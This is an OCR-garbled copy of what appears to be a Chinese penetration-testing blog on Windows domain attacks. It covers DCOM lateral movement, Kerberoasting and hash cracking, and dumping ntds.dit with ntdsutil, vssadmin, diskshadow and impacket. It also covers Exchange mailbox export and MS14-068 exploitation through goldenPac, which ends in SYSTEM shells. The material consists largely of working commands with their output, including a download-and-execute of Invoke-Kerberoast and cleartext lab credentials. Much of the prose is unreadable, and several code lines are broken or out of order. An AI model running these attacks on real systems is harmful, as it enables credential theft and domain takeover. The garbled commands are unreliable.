bdde9e3fe89b490bT543b03f55c4e8b@5ef835fceb7b02be8908d2f739ed54e64b333¢c7b3c3d58a2c385154€9599164
baed419fd6f4147aab250e8620162e3321c56705be2826c48199706ed29bb997c0e8feb6410476a70571539442bacd2

abd5cchfe5450d27090eb8e@5c1bf975fff3ff45a122905dcfbeb938ff496d323e2ebafbd/T293c9a79bedb3ccelef
6471a84340759%9e2dd5¢c3d3a64bfa9704e0472b1d2e4c887ae09: 1qaz@wSsSX -

Sess 10N S -

StatuS.ewevvewrnunt .
Hash.Name........:

Hash.Target......:

Time.Started.....: Mon Sep 6 23:28:55 2021, (@ secs)
Time.Estimated...: Mon Sep 6 23:28:55 2021, (@ secs)
Guess.Base....... : File (passwd.txt)
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UEUEIIIIII: =

Speed.#1 :  593.5 kH/s (0.98ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered : 1/1 (100.00%) Digests

Progress : 1045/1045 (100.00%) ¢° Tea mSSiX

Rejected 1 0/1045 (0.00%)

Restore.Point : 0/1045 (0.00%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1 : 123456 —> 12312312

1. Exchange BOEZSIRE

7f Exchange BRE 22 /) PowerShell BT N igfE

¥ Exchange B R m/MNEIHEI=1ED

none

Get-WmiObject -Namespace ROOT\CIMVZ -Class Win32_DCOMApplication

EEMAFEUEE

none

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
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BIEIEENIERRR

none

$com.Document.ActiveView | Get-Member

SREREILE FA - BB b

none

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

BEREERFNHAEERER

none

$com = [Activator]::CreateInstance([type]: :GetTypeFromProgID("MMC20.Application","192.168.7.7"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe",$null,"/c calc.exe","Minimized")

B

[Activator]::CreateInstance([type]: :GetTypeFromProgID("MMC20.Application","192.168.7.7")).Document.ActiveView.Exe
cuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

SRENA P EBAE RAVER AN E, B xan < IR ] DAY BB P R E I A4

none

$com=[Activator]: CreateInstance([Type] :GetTypeFromCLSID( "9BAQ5972-F6A8-11CF-A442-00AQC90A8F39","192.168.7.7"))

4 __ . AN N [ N [ Y o P T T D S LJuu T [ R | T2 S [ L N R R N R S LU IS B B RN
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»com.1Tem).vocument.AppLication.>neLLexecute( cma.exe , /C caLc.exe , CI\WLNAaoOws\systems< ,»nuLL,v)

W&
[Activator]::CreateInstance([Type]: :GetTypeFromCLSID( '9BAQ5972-F6A8-11CF-A442-00AQCO0A8F39',"192.168.7.7")).item
() .Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,)

2, SHIEERIE FHR7E

Exchange Server 2007 FEE(FEA ExportMailBox an<, & Exchange Server 2010 SP1 & LAfE89AR A 7] LUE A E
AR ESE, e BUER PowerShell

MRBESH PTS B, WHEEIRPEESE / SENR,

EEERFPNSASHR
BEMPIR

none

$com = [activator]::CreateInstance([type]: :GetTypeFromprogID("Excel.Application","192.168.7.7"))$com.DisplayAlert
s = $false$com.DDEInitiate("cmd.exe","/c calc.exe")

% Administrator BB 7NINZEI Mailbox Import Export AL, BB ANEIBEEAEE, FEER Exchange RS EE
HATSHIRE

none

$com = [activator]::CreateInstance([type]: :GetTypeFromCLSID("CO8AFD90Q-F2A1-11D1-8455-00A0C91F3880","192.168.7.7"
D)
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$com.Document.Application.shellExecute("calc.exe")

&
[activator]::CreateInstance([type]: :GetTypeFromCLSID("CO8AFDI0-F2A1-11D1-8455-00A0C91F3880","192.168.3.144")).Doc
ument.Application.shellExecute("calc.exe™)

BIBRRIRIZINAY Mailbox Import Export A& AR~
none
$com = [activator]::Createlnstance([type]: :GetTypeFromProgID("Visio.Application","192.168.7.7"))

$com.[@].Document.Application.shellExecute("calc.exe")

I

[activator]::CreateInstance([type]: :GetTypeFromProgID("Visio.Application","192.168.7.7")).[@].Document.Applicatio
n.shellExecute("calc.exe")

IRENBHEMGR
RNSERMMANSEMLE, FAEEE M ES UNC (Universal Naming Convention, @AaZ M0, thF@RE
ZAE) B
M TF “\hostname\sharename”. “\ipaddress\sharename” I EER T, sharename IMNEHLZZFR,
BAEARBRZ, B C £ inetpub XIFIIZE N everyone AJIRE, HITU <!

none

$com = [activator]::CreateInstance([type]: :GetTypeFromProgID("Outlook.Application","192.168.7.7"))
$com.createObject("Shell.Application”).shellExecute("192.168.7.7")
;&
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[activator]: :Createlnstance([type]: :GetTypeFromProgID("Outlook.Application","192.168.7.7")).createObject("Shell.A

pplication™).shellExecute("calc.exe")

S AP R FHR

{£F PowerShell S BFHE, AFPAEBFIFE RN Inbox (WAEFE) . Sentltems (B &IZMBE) |
Deleteltems (EfIFRERE) . Drafts (Bfg) &F

none

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

FTHEARESE BT, h https://127.0.0.1/ecp, FTFF Exchange BIEANIEFEFRE.

MK SEZIG#H N Exchange IR0, mir .0 B2, &F 'SHE PST ) Bl TS HIRIF,
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< C A F%£1127.0.0.1/ecp/

] AR Office 365

Exchange S0

IEIN mFE 4 ®/E BEA H=E7T%
R
AR +- 7T PE -
i ERER %A RREZEEY
o Sl B
BRI AT
SHF) PST 3744
thiidHZ= W b B L1 ZE e 1 i
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WP TT I TEXIETFME WOV LT+

i A
e ERER

PSR

S TeamSSix

ARSS =%

BEEFHIEK

AeEET Powershell SRR BETEIMNMHANSE, &= Exchange PEN—FSEER, XEESBEET BT
RIPRSZ[ENFEITH, BUNU T2, pPINBEZRNSHEIBEKICRER.

none

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 ipconfig

FIEE P DRSS HIEK MR

none

python3 dcomexec.py teamssix.com/administrator@192.168.7.7 -hashes aad3b435b51404eeaad3b435b51404ee:161cff@84477F
€596a5db81874498a24

MBRPTA BTN S T
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none

ERR TGS FIME SRR

2 TGT AF, LAY TGS FKEEIET AS IAMEEMNAF,ER. C(T_SK. WEEESR, BENEEAMILERITERS
R, RNEEBMUKET—F,

ZJa TGS A@Eﬁﬁ (T_SK BBEFHARNE—EONE, REEPNBFERN T6T ENAFPERATYL, MREH—INNIANE,IHSHIE
®, #EEr

RS TGS K& Fim& N, maEREeEmMeEs :

MBRPTE S HIEK, BFESTAMKBANIENK
none

serviceclass "/" hostname [":"port] ["/" servicename]

0. HIE

ESNEFER, PIBIURENMRIFE ntds.dit XA, ntds.dit 2 — P #HHIX M, FRAUEINEITEN
%SystemRoot% \ntds.dit

ntds.dit FEIE (BART) BFP&E. 8UIE. A, GPP. OU F5E:BREXNESR, EIURIITZE] ntds.dit
FUEEIREXEIL A PE A3 89 hash

AEBIER S, BMERAEEAMNR, thIAZREEFRN ntds.dit X4 (ERNERNERRZIHEIX DX, PR
WEEIIREY) |, B SAM SUHE—HF, 4% Windows BIF R G HIERT,

AN EHE Windows KRHhASZ T RS & ol MEFEVAREIR (240 TN AN A0 E)
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A 1A/ 1D Vv AN VY T LN NN S T AYUC O F/NI/N N N L H T NN /N ML /N 1 UH D L/ NN

1. {EFAERZ N RSSIREN ntds.dit

ntdsutil

ntdsutil @—"1" &N B RIBEEIBNEIMSIT IR, EMA ntdsutil AP EIEERN B REIEE . =H2 DA
BIE. SIRNAREFBEFROK. BFERERENERLZEBS (DCPromo.exe) MINERNSZHIZEE NHTTHTE
=,

ZTERINZEAEGE L, FRUTNGSE—RE, ZIREBES Windows BRIfEXH, BEEHXHR IS
2l Windows B{E M HIRIRS ,

none

MSSQLSvc/DBServer.teamssix.com:1433

PNENIR B2 AR B

none

exchangeMDB/ExServer.teamssix.com

£/ copy a<IGIRBRAHERE C £ F

none

TERMSRV/ExServer.teamssix.com
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MBR < B AN ELAYIR AR

none

WSMAN/ExServer.teamssix.com

BWHRIARGTRRE, PJUERIKEEORE

none

setspn -T teamssix -Q */*

‘\Users\Administrator>ntdsutil snapshot “"activate instance ntds” create quit quit
htdsutil: snapshot
snapshot: activate instance ntds
Active instance set to "ntds”.
snapshot: create
Creating snapshot. ..
Snapshot set {ce2f5901-022f-4c21-b266-bhcl4db67749) generated successfully.
snapshot: quit
ntdsutil: quit

C:\Users\Administrator>ntdsutil snapshot “"mount {ce2f5901-022f-4c21-b266-bhcl4db67749}" quit quit
ntdsutil: snapshot

snapshot: mount {ce2f5901-022f-4c21-b266-biclidb67749}

Snapshot {e6f6d639-4786-4dc5-a47f-0b30519a00ab} mounted as C:\$SNAP_202109081356_VYOLUMEC$\
snapshot: quit

htdsutil: quit

C:\Users\Administrator>copy C:\$SNAP_202109081356_VYOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit
1 file(s) copied.

‘\Users\Administrator>ntdsutil snapshot “unmount {ce2f5901-022f-4c21-b266-bbclédb67749}" "delete {ce2f5901-022f-4c21-b266-bbclédb67749}" quit quit

htdsutil: snapshot

snapshot: unmount {ce2f5901-022f-4c21-b266-bhclidb67749}
Snapshot {e6f6d639-4786-4dc5-a47f-0b30519a00ab} unmounted.
snapshot: delete {ce2f5901-022f-4c21-b266-bhclidb67749}
Snapshot {e6f6d639-4786-4dc5-a47f-0b30519a00ab} deleted.
snapshot: quit

htdsutil: quit

C:\Users\Administrator>ntdsutil snapshot “List All" quit quit
htdsutil: snapshot
snapshot: List All
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:oquit

1l: quit

vssadmin

vssadmin PJHTRIZHMERETE . JIEBHRER (REEEERS Provider BIZNBREIN) | BRBREM
BB NENER (writers) MIEHERE (providers) , DALNZESZE Na0FME=IE (BIPMBAY "diff =(E)°) AR
INE,

vssadmin BIERRAER ntdsutil Z4%, E5681E—" C B2iE874E N
none

Import-Module ActiveDirectoryget-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne @)} -prop * [sel
ect name,whencreated,pwdlastset,lastlogon

ERIZRVB R NI ntds.dit EfH#

none

Import-Module .\Microsoft.ActiveDirectory.Management.dllget-aduser -filter {AdminCount -eq 1 -and (servicePrincip
dlName -ne @)} -prop * Iselect name,whencreated,pwdlastset,lastlogon

none

Import-Module .\PowerView.pslGet-NetUser -spn -AdminCountl|Select name,whencreated,pwdlastset,last
https://teamssix.com/211027-163641.html 224/273



2021/10/27 F4-6:42 [ o] P 2 210 A4 | TeamsSix

C:\Users\Administrator>vssadmin create shadow /for=C:
vssadmin 1.1 - VYolume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Successfully created shadow copy for 'C:\’
Shadow Copy ID: {5af89061-876d-40df-a&9d-21287fab3dfo}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskYolumeShadowCopyl?2

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVYolumeShadowCopyl2\windows\NTDS\ntds.dit C:\ntds.dit
1 file(s) copied.

C:\Users\Administrator>vssadmin delete shadows /for=C: /quiet %TeamsSix
yssadmin 1.1 - VYolume Shadow Copy Service administrative command-line tool

(C) Copyright 2001-2005 Microsoft Corp.

vssown.vbs

vssown.vbs FIZABIINEER] vssadmin £, TR FRIZFRIFERZ NN LBEsflEILEZE NRS.
vssown.vbs REHBLE:  https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
BhEs#2 MRS

none

Discover—PSInterestingServices # BB SPN ARZSDiscover-PSMSExchangeServers # & Exchange fi%5zEDiscover-
PSMSSQLServers # & MSSQL ARZ52EFind-PSServiceAccounts # SHIRSNKT Get-DomainKerberosPolicy

# SRHUE Kerberos %ﬂ%Get—PSADForestInfo # SREVEFRE S Get-PSADForestgInfo # SREUEFRM KRBT
GT ER

BIE—" C &rBFEN
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none

Import-Module .\Discover-PSMSSQLServers.pslDiscover-PSMSSQLServersziZPowerShell -Exec bypass -C "Import-Module .\
Discover-PSMSSQLServers.psl;Discover-PSMSSQLServers"

FI SRR N

none

Import-Module .\Discover-PSInterestingServices.pslDiscover-PSInterestingServicesdi#&PowerShell -Exec bypass -C "Im
port-Module .\Discover-PSInterestingServices.psl;Discover-PSInterestingServices”

SH ntds.dit

none

./GetUserSPNs.psl1gjZPowerShell -Exec bypass -File GetUserSPNs.psl

MRS I

none

cscript.exe GetUserSPNs.vbs

C:\>cscript vssown.vbs /start

Microsoft (R) Windows Script Host Version 5.8
Copuright (C) Microsoft Corporation 1996-2001. All rights reserved.
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[=] Signal sent to start the VYSS service.
C:\>cscript vssown.vbs /create c
Microsoft (R) Windows Script Host Version 5.8
Copvright (C) Microsoft Corporation 1996-2001. All rights reserved.
[=] Attempting to create a shadow copy.
C:\>cscript vssown.vbs /list

Microsoft (R) Windows Script Host VYersion 5.8
Copvright (C) Microsoft Corporation 1996-2001. All rights reserved.

X

: {22B93FE6-D53A-4ECA-BDSA-7A2A68203EF8}
Client accessible: True
Count:
Device object: \\A?AGLOBALROOTADevice\HarddiskVYolumeShadowCopylé
Differential: True
Exposed locally: False
Exposed name:
Exposed remotely: False
Hardware assisted: False
Imported: False
No auto release: True
Not surfaced: False
No writers: True
Originating machine: dc.teamssix.com
Persistent: True
Plex: False
Provider ID: {Bo946137-7BIF-4925-AF80-51ABD60B20D5S}
Service machine: dc.teamssix.com
Set 1ID: {E3444309-239A-434B-98C0-18FSABBEEF6D )
State: 12
Transportable: False

VYolume name: M \Volume{ale?21lco-4e37-11ea-8111-806e6f6e6963}\

¥ X X%

¥

¥ X Xk X X X X X X X ¥ %X x ¥ ¥ x

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

e B e e e e e e B e B e T S e e e e e g e =

X

C:\>copy \\?\GLOBALROOT\Device\HarddiskVYolumeShadowCopylé\wj s\NTDS\ntds.dit C:\ntds.dit

1 file(s) copied. SQFJ—eamSSiX

C;\>c3cript_ussgwn.vbsl/dglete [22B93FEG—053H—&ECH—BDSH—?H296
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(@ﬁ%ﬁlWﬂ%j%ﬁA%VMmﬁm
version
Copyright (C) chrosoft Corporation 1996- 2001. A1l rights reserved.

[«] Attempting to delete shadow copy with ID: {22B93FE6-D53A-4ECA-BDSA-7A2A68203EF8)

IFM

bR T CENBROBIITHNITa < KIREN ntds.dit, A PUBIIeIE—1 IFM RI5TU3REN ntds.dit

E{E A ntdsutil BB EARL I E (IFI\/I) i, B TAERMREB . INE. 38 ntds.dit FIITENE SAM SXHEEFIRIBHFX
HIZR SR, XL Et T BUEIT PowerShell 3, VMI i HAT,

FEEERUEEARITITaTHE, BADS

none

Import-Module .\Get-SPN.psmlGet-SPN -type service -search *ZZ%PowerShell -Exec bypass -C "Import-Module .\Get-SP
N.psml;Get-SPN -type service -search *"

RS ntds.dit JE#RTEE C:\test\Active Directory &, SYSTEN #1 SECURITY B NS4S HARTEAE C:\test\registry
NI

¥ ntds.dit ¥BRIAM G, £BRlzs L35 test SKFFMIBR

Copy-VSS.ps1

nishang TEBER Copy-VSS.ps! A BUE ntds.dit 32BN H K, nishang T B EHbE:
https://github.com/samratashok/nishang
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none

Import-Module .\Get-SPN.psmlGet-SPN -type service -search * -List yesdfZPowerShell -Exec bypass -C "Import-Module
.\Get-SPN.psml;Get-SPN -type service -search * -List yes"

BIZEIA, PIAYE SAM. SYSTEM, ntds.dit EFIEI5 ps! BIAEEHNE R T,

diskshadow

diskshadow #1 vshadow IHEEZEL, AT vshadow EEIETE Windows SDK BRY, RFILSLPRN B EAEEEH
ZE|Birles L,

diskshadow BRERINMFR R, HEERRXEERIN, BEEETHFRERIRE

B txt X, RBW:

none

Import-Module .\Get-DomainSpn.psmlGet-DomainSpnzyZPowerShell -Exec bypass -C "Import-Module .\Get-DomainSpn.psml;
Get-DomainSpn"

£/ diskshadow V&R N7 IS A S 44

none

python3 GetUserSPNs.py -dc-ip 192.168.7.7 teamssix.com/test
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A9 system.hive EFHEE ntds.dit B9TEE, PIAEERME system.hive , AAKEEE ntds.dit ERA

none

setspn -A MSSQLSvc/DBSRV.teamssix.com:1433 test

PS C:\> type .\command.txt

set context persistent nowriters

add volume c: alias someRAlias

create

expose %somefAlias’% k:

exec "C:\windows\system32\cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\ntds.dit
delete shadows all

list shadows all

reset

exit

PS C:\> diskshadow /s C:\command.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2007 Microsoft Corporation
On computer: DC, 2021/9/8 T4 03:57:39

-> set context persistent nowriters

-> add volume c: alias someAlias

-> create

Alias someAlias for shadow ID {a083cbee-2Tci-43T4-acHd-S5caS9bi48ceaa} set as environment variable.

Alias USS_SHADOW_SET for shadow set ID {4d43ccal-cl1e2-4807-93d4-1f884aab9f47} set as environment variable.

Querying all shadow copies with the shadow copy set ID {(4d43ccal-cle2-4807-93d4-1f884aab9f47}

% Shadow copy ID = {aB83cBee-27cH-4374-acld-5ScaS9b48ceaa) %someAlias%
- Shadow copy set: {(4d43ccal-cle2-4807-93d4-1f884aab9f4T7} #USS_SHADOW_SETZ
Original count of shadow copies = 1
Original volume name: \\?\Uolume{aTe211c5-4e37-11ea-81f1-806e6f6e6963}\ [C:\]
Creation time: 2021/9/8 |4 03:57:40
Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskUolumeShadowCopyl8
Originating machine: dc.teamssix.com
Service machine: dc.teamssix.com
Not exposed
Provider ID: {b5946137-7b9f-4925-af80-51abdé0b20d5}

https://teamssix.com/211027-163641.html



2021/10/27 F4-6:42

DA ] 27 5] B0 & 4 | TeamsSix

Number of shadow copies listed: 1
-> expose Zsomeflias% k:
-> %somefliasZ = {a083cbBee-2TcH-4374-acHd-5¢ca59b48ceaa}
The shadow copy was successfully exposed as k:\.
-> exec "C:\windows\system32\cmd.exe” /c copy k:\Windows\NTDS\ntds.dit C:\ntds.dit
1 file(s) copied.
-> delete shadows all
Deleting shadow copy {a083cBee-27c4-4374-ackd-ScaS9b48ceaa} on volume \\?\Uolume{are211c5-4e37-11ea-81f1-8
1abde0b20dS} [Attributes: 0x00120019]...

Number of shadow copies deleted: 1

-> list shadows all ?Q TeamsSiX

Querying all shadow copies on the computer ...

No shadow copies found in system.

-> reset

-> exit

PS C:\> reg save hklm\system c:\windows\temp\system.hive
The operation completed successfully.

Invoke—NinjaCopy.ps1

PowerSploit TAEIER Invoke-NinjaCopy.ps1 FlZth a] BA3REX ntds.dit X4, XM A% B1EA Volume Shadow
Copy BRZS, FIAANSFTEHTEXE

PowerSploit TEBIMBEHEE: https://github.com/PowerShellMafia/PowerSploit

none

setspn -L teamssix.com\test

impacket

impacket &3
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none

\ITENEE \Windows 1RE\Z2IRE\AHHRE\AFP RS E\FARS E R

18)d impacket EBHY secretsdump.py FIZSr] LB 32 1EY ntds.dit HSHIEHE

none

\ITENEE\Windows BE\ZTRE\AMEBE\Z2IAII\NEZE: BBE Kerberos RUFHIINERZER

2. SH ntds.dit STEBRRIEGE

esedbexport

T4 esedbexport, B Kali 41

none

$SPNName = "MSSQLSvc/DBSRV.teamssix.com’
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

E Y ntds.dit

none
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Add-Type -AssemblyName System.IdentityModel
setspn -q */* | Select-String 'ACN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorS
ecurityToken -ArgumentlList $_.Context.PostContext[@].Trim() }

TR ntdsxtract

none

kerberos::list /export

% ntds.dit.export 1 SYSTEM XXHAERINE] ntdsxtract TEMXHFES, RAESHIEFE, HENERERFE

all_user.txt B

none

powershell.exe -exec bypass -c¢ "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/http
s://raw.githubusercontent.com/EmpireProject/Empire/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/cr
edentials/Invoke-Kerberoast.psl');Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | f1"

WERIR ImportError: No module named Crypto.Hash, E#% pip install pycryptodome B[]
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dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link table.5 output SYSTEM
ocl atout lmout | all_user.txt
—  _aalh

[+] Started at: Wed, @8 Sep 2021 09:12:2@ UTC
[+] Started with options:
[-] Hash output format: ocl -
The directory (" "speiFigll. "ES15 /ntdsxtract/output) specified does not exists!
Would you like to create it? [Y/N] Y

Initialising engine...
Loading saved map files (Stage 1)... =
Warning: Opening saved maps failed: [Errno 2] No such file or directory: ' s ®aff a:TB-i3/ntdsxtract/output/offlid.map'
Rebuilding maps... .
Scanning database - 100% — 8125 records processed
Sanity checks...
Schema record id: 1811
Schema type id: 10
Extracting schema information - 100% —> 3998 records processed
Loading saved map files (Stage 2)...
Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/* az,'TF:'Ib-ﬁu/ntdsxtract/outpuE{links.map'
(]
‘ ]
[ |

Rebuilding maps...
Extracting object links...
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List of users:

Record ID:
User name:

User principal name:

SAM Account name:
SAM Account type:
GUID:

SID:

When created:

When changed:
Account expires:
Password last set:

none

Rubeus.exe kerberoast

impacket

none
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3562

Administrator

Administrator@ei=m =

Administrator
SAM_NORMAL_USER_ACCOUNT
994c4ab6-f36c-4043-babf-038829a86d34
S—-1-5-21-284927032-1122706408-2778656994-500
2020-02-17 03:38:01+00:00

2021-09-01 03:34:11+00:00

Never

2021-07-29 09:18:18.131884+00:00

& ntds.dit.export F SYSTEM SXHMANE! impacket T BRI 43

% TeamsSix

ntds.dit BIEEHNMFTEER, FJLLBI DT ntds.dit SEEIARMITENEEMLEMESR, REERBREFE
all_computers.csv XA

python3 GetUserSPNs.py -request -dc-ip 192.168.7.7 -debug teamssix.com/test
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none

python tgsreperack.py password.txt mssql.kirbi

NTDSDump.exe

NTDSDumpEx.exe B] DUAITS HIAFERRIE, TEHbIE:  https://github.com/zcgonvh/NTDSDUmpEX/releases

none

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

mimikatz

mimikatz B desync BITIEE, PIDANIAERE NRS B REX ntds.dit X, AIFBEEE AR,
SHEERNMERPRRF2MESE

none

add-pssnapin microsoft.exchange*

SHEAEERFR- 2GR E

none
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Get-MailboxDatabase -server "dc"

] DUBIT #5f% Isass.exe #1T dump 21E

none

Get-MailboxDatabase -Identity 'Mailbox Database 0761701514" | Format-List Name,EdbFilePath,LogFolderPath

MRBERNBETRZ, PILMEA log <, RIFRIEMEZFICHKEIXAE Y

Invoke-DCSync.ps1

ZMIZET Invoke—ReflectivePEinjection 1A mimikatz.dll 989 desync IHEE, HFIA desync BEIEIEEY ntds.dit 53
B EEE A

Invoke—-DCSync.ps1 N&EiHbiE:  https://gist.github.com/monoxgas/9d238accd969550136db

none

Get-Mailbox | Format-table Name,WindowsEmailAddress

MSF

msf B psexec_ntdsgrab 7] LUFAEY B AR ntds.dit ] SYSTEM HIEERER! /root/ msf4/loot/ BF T

none
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Get-Mailboxstatistics -Identity Administrator | Select Dispayname,ItemCount,TotalItemSize,TotalTimeSize,LastLogon
Time

BRILZSh, EIRIEIREE, BRI AERA MSF ZMHAVRIRIREY ntds.dit

none

Get-Mailbox -ResultSize Unlimited | Get-Mailboxstatistics | Sort-Object TotalItemSize -Descend

ERAEARY payload FEMBEMATUI—E, FIASHRE

DSinternals
DSInternals FEINEEEIER S ntds.dit XHFHRIFUURBY EFEFIRSS (DRS) mizhiNEeEiElzs.
DSInternals ~&EgHbiE:  https://github.com/MichaelGrafnetter/DSInternals/releases

23 DSInternals

none

Get-ManagementRoleAssignment -role "Mailbox Import Export"

BHi5 M hash, FH{RTFE output_hash.txt XHE
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none

New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator” -Role "Mailbox Import Expo
r|_tll

& S hashcat <589 hash, F{R1F1E output_hashcat.txt SXHE

none

Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
vshaow 1 QuarksPwDump

FIEBEIMGER, ntdsdit XFEBERENER, MRIK, AL BEFREFRIAM,

AR FIZE LIRBLZERENM, WEEMEEESENGZHEE, S ntds.dit HREEKSEHIE, MAEE
¥ ntds.dit {RIFZ A,

QuarksPwDump FIMAPRIR . &2 ZEMZIE EEK S FEEgE.
QuarksPwDump RaEiibit:  https://github.com/tuthimi/quarkspwdump/tree/master/Release
ShadowCopy.bat R EEAE IIFN, BEEE TR PUE RIS R EM I RIT AR, 80

none

net share inetpub=c:\inetpub /grant:everyone,full
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vshadow.exe =M Windows SDK HI2ENH AT, FEBELZLEE Windows SDK, NEitbiL:

https://developer.microsoft.com/en—us/windows/downloads/sdk—archive/
Windows SDK N E&5%8fE, #E vshadow.exe , FXEREKETE

none

New-MailboxExportRequest -Mailbox administrator -FilePath \\192.168.7.77\inetpub\administrator.pst

BX =T YHREIR— 1 HRE S, &1T ShadowCopy.bat X, ZERIMUERISH T ntds.dit 1 system.hive S
£ esentutl BE S HAY ntds.dit X4

none

Get-MailboxExportRequest

B/EET QuarksPwDump.exe &gk S F1E051E

none
Remove-MailboxExportRequest -Identity Administrator\MailboxExport
t log EMEEERISENEILES T .

0. HIE
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£ 2014 EHEMEE T Kerberos 8B FEAURE, Bl MS14-068, CVE 5=k CVE-2014-6324, 1ZREEN0 1
Windows Server 2012 R2 LATHIARSS 28, 1ZREDF RT BERBRB LA RIRF 2 E LR,

ANIMRAENMAEXBLE2 TR HRNRE, WEPELROMWET, XEFMERICE T, IMERERELR
A,

14-068 FAENRREFZEA TR A UNBNEHNRE@IANERS S REEK, NRAFHEHENTRE, RShMS
A EENRAARSS RE Rl [O]5%k,

1. PYyKEK

PYKEK @—"MHIA Kerberos TS EM T RS, T https://github.com/mubix/pykek
B/ PYKEK RIS — 1SN RNRS TR, 2/EET mimikatz BRSERSAFRNER,
MS 14-068 9% T 51 KB3011780, & wmic BEHTIER

none

Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

BEHFIAF, SD
& {F A wmic

none
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Get-MailboxExportRequest | Remove-MailboxExportRequest

TSR EE, —d FEEEEhE

none

snapshot "activate instance ntds" create quit quit

17T mimikatz SR = RINFTPHEREES
KEMNRERENNF

none

snhapshot "mount {ce2f5901-022f-4c21-b266-b4cl14db67749}" quit quit

{8 net use EZEIZ/E, &£/ psexec FREY Shell

.

XE net ues £/ IP RIBERRIN, AL ULERZa208 TR

v \\O¥A2010SP3: cad

mimikatz #|kerberos: :purge . \Users\jack\DesktopiPsExec.exe \\0WA2010SP3 -s cmd
Ticket{s) purge for current session is OK

.. - - = : = jPsExec v2.32 - Execute processes remotely
mimikatz #| kerberos::ptc "TGT_jack@dday.org.ccache copyright (C) 2001-2021 Mark Russinouich

Principal :~{01) : jack : @ ODAY.ORG Sysinternals - www.sysinternals.com

Data 0
Start/End/MaxRenew: 2021/9/23 17:22:19 ; 2021/9/24 3:22:19 ; 2021/9/3§MMicrosoft Windows [ 6.1.7601]
0 17:22:19 FRAYERE (c) 2009 Microsoft Corporation. {REFTEIF.
Service Name (01) : krbtgt ; ODAY.ORG ; @ ODAY.ORG
Target Name (01) : krbtgt ; ODAY.ORG ; @ ODAY.ORG C:\Windows\system32Jwhoami
Client Name (01) : jack ; @ 0DAY.ORG |nt authority\system
Flags 50a00000 - pre_authent ; renewable ; proxiable ; forwardable]

R C:\Windows\system32jipconfig /all
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172&2519a0326flbaeLSSAc959d2‘3?5&
Ticket : 00000000 - null

» Injecting ticket : OK

mimikatz #

Users\jack>net use \\OWA2010SP3\C$
RN TE K o

Users\]ack >dir \\OWA2010SP3
L 2= \\0WA2010SP3\C$ HHj+%
HiFF5|5 2 CcC41-F139

\\0WA2010SP3\C$ I E 3t

2019/05/19 : <DIR> ExchangeSetuplLogs
2019/05/19 : <DIR> inetpub

2019/05/26 : <DIR> Program Files
2019/05/26 . <DIR> Program Files (x86)
2019/05/19 : <DIR> Users

2019/05/19 : <DIR> Windows

2019/05/19 : <DIR>

G
N EF 47,964,549,120 —JEH

2. GoldenPac

goldenPac.py 2—"THTFXI Kerberos i

Kali 7£FH 2 IS E L2 Kerberos & Fim

none

DA ] 27 5] B0 & 4 | TeamsSix

Wimﬂ:

DHCP /& F
BT R O A
A3 1Pue itk

DHCPUG IAID
DHCPuB Z ¥ DUID

DNS ff %52

TCPIP [ ff] NetBIOS

MR T B, B&%AfE impacket TR

C:\ $\windows\NTDS\ntds.dit C:\ntds.dit

FA goldenPac.py $XEX Shell

none

: OWA2010SP3
Oday.org

. =)
: Oday.org

: Intel(R) PRO/1000 MT Network Connection
00-0C-29-91-86-D1

ey
[=)
1=}
FE

¢80 :68a9: ea61 2#251 :26¢5%11(H
TéamsSix

23488H137
: 00-01-00-01-24-71-67-87-00-0C-29-5F-73-9D|

izl
192.168.3.142
: BEH

BE,

snapshot "unmount {ce2f5901-022f-4c21-b266-b4c14db67749}1" "delete {ce2f5901-022f-4c21-b266-b4cl4db6774

9t" auit auit
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XEFEA IP TERZERAMI, ReeERENR, BEUrI P hosts XAFFRIIENZXINAY 1P

goldenPac.py @day.org/jack:Aal23456@0WA2010SP3.0day.org
Impacket v0.9.24.dev1+20210917.161743.0297480b — Copyright 2021 SecureAuth Corporation

[*] User SID: S-1-5-21-1812960810-2335050734-3517558805-1133

[*] Forest SID: S-1-5-21-1812960810-2335050734-3517558805
Attacking domain controller OWA2010SP3.0day.org
OWA2010SP3.0day.org found vulnerable!

[*] Requesting shares on OWA2010SP3.0day.org.....

[*] Found writable share Address

[*] Uploading file KpWCRptZ.exe

[*] Opening SVCManager on OWA2010SP3.0day.org

[*] Creating service kaym on OWA2010SP3.0day.org

[*] Starting service kaym

[!] Press help for extra shell commands

Microsoft Windows [ 6.1.7601]

ﬁuléT-uﬂ (c) 2009 Microsoft CorporationidﬁulfT-uﬂliLViu

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig /all

dindow
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IP 17 °m
WINS -

DNS <t

o

